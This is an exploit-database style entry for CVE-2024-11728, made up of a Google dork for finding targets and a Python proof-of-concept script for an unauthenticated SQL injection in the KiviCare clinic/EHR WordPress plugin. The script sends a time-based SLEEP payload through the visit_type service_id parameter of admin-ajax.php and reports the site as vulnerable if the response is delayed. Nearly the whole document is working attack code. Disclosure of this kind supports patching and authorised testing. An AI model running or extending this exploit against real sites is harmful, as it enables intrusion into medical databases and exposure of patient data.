KiviCare Clinic & Patient Management System (EHR) 3.6.4 - Unauthenticated SQL Injection

# Exploit Title: KiviCare Clinic & Patient Management System (EHR) 3.6.4 - Unauthenticated SQL Injection
SQL Injection
# Google Dork: inurl:"/wp-content/plugins/kivicare-clinic-management-system/
# Date: 11/12/2024
# Exploit Author: Samet "samogod" Gözet
# Vendor Homepage: wordpress.org
# Software Link:
https://wordpress.org/plugins/kivicare-clinic-management-system/
# Version: < 3.6.5
# Tested on: Ubuntu 22.04
# CVE : CVE-2024-11728
#!/usr/bin/env python3
"""
CVE-2024-11728 - KiviCare WordPress Plugin Unauthenticated SQL Injection PoC
Author: samogod.samet.g

Description:
    Proof of Concept for Unauthenticated SQL Injection vulnerability
in KiviCare WordPress Plugin <= 3.6.4.
    The vulnerability exists in the tax_calculated_data AJAX action
where the visit_type[service_id]
    parameter is insufficiently escaped, allowing SQL injection attacks.

Usage:
    python3 CVE-2024-11728.py -u <target_url> [-t <timeout>] [-v]
"""

import argparse
import requests
import sys
import time
from urllib3.exceptions import InsecureRequestWarning

# Disable SSL warnings
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class KiviCareExploit:
    def __init__(self, url, timeout=10, verbose=False):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.target = f"{self.url}/wp-admin/admin-ajax.php"
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': '*/*'
        }

    def log(self, message, level="info"):
        """Custom logging function"""
        colors = {
            "info": "\033[94m[*]",
            "success": "\033[92m[+]",
            "error": "\033[91m[-]",
            "warning": "\033[93m[!]"
        }
        print(f"{colors.get(level, '[*]')} {message}\033[0m")

    def verify_vulnerability(self):
        """Verify if the target is vulnerable using a time-based SQL
injection"""
        self.log("Testing vulnerability with time-based SQL injection...")

        data = {
            'action': 'ajax_post',
            'route_name': 'tax_calculated_data',
            'clinic_id[id]': '1',
            'doctor_id[id]': '1',
            'visit_type[0][service_id]': "123) AND (SELECT * FROM
(SELECT(SLEEP(5)))alias) AND (1=1",
            '_ajax_nonce': '5d77fc94cf' # You need to update this nonce value
        }

        try:
            normal_data = {
                'action': 'ajax_post',
                'route_name': 'tax_calculated_data',
                'clinic_id[id]': '1',
                'doctor_id[id]': '1',
                'visit_type[0][service_id]': "1",
                '_ajax_nonce': '5d77fc94cf' # You need to update this
nonce value
            }

            start_time = time.time()
            normal_response = requests.post(
                self.target,
                data=normal_data,
                headers=self.headers,
                verify=False,
                timeout=self.timeout
            )
            normal_time = time.time() - start_time

            if self.verbose:
                self.log(f"Normal request time: {normal_time:.2f}
seconds", "info")
                self.log(f"Normal response: {normal_response.text}", "info")

            start_time = time.time()
            try:
                response = requests.post(
                    self.target,
                    data=data,
                    headers=self.headers,
                    verify=False,
                    timeout=self.timeout
                )
                elapsed_time = time.time() - start_time

                if self.verbose:
                    self.log(f"Injection request time:
{elapsed_time:.2f} seconds", "info")
                    self.log(f"Request data: {data}", "info")

                if elapsed_time >= 4.5:
                    self.log("Target appears to be vulnerable!", "success")
                    return True
                else:
                    self.log("Target does not appear to be
vulnerable.", "warning")
                    return False

            except requests.exceptions.Timeout:
                self.log("Request timed out - target is vulnerable!", "success")
                return True

        except requests.exceptions.RequestException as e:
            self.log(f"Error during vulnerability check: {str(e)}", "error")
            return False

def main():
    parser = argparse.ArgumentParser(description='KiviCare WordPress
Plugin Unauthenticated SQL Injection PoC (CVE-2024-11728)')
    parser.add_argument('-u', '--url', required=True, help='Target URL
(e.g., http://example.com)')
    parser.add_argument('-t', '--timeout', type=int, default=10,
help='Request timeout in seconds')
    parser.add_argument('-v', '--verbose', action='store_true',
help='Enable verbose output')
    args = parser.parse_args()

    print("""
    CVE-2024-11728 - KiviCare WordPress Plugin Unauthenticated SQL Injection
    Author: samogod.samet.g
    """)

    exploit = KiviCareExploit(args.url, args.timeout, args.verbose)

    exploit.verify_vulnerability()

if __name__ == '__main__':
    main()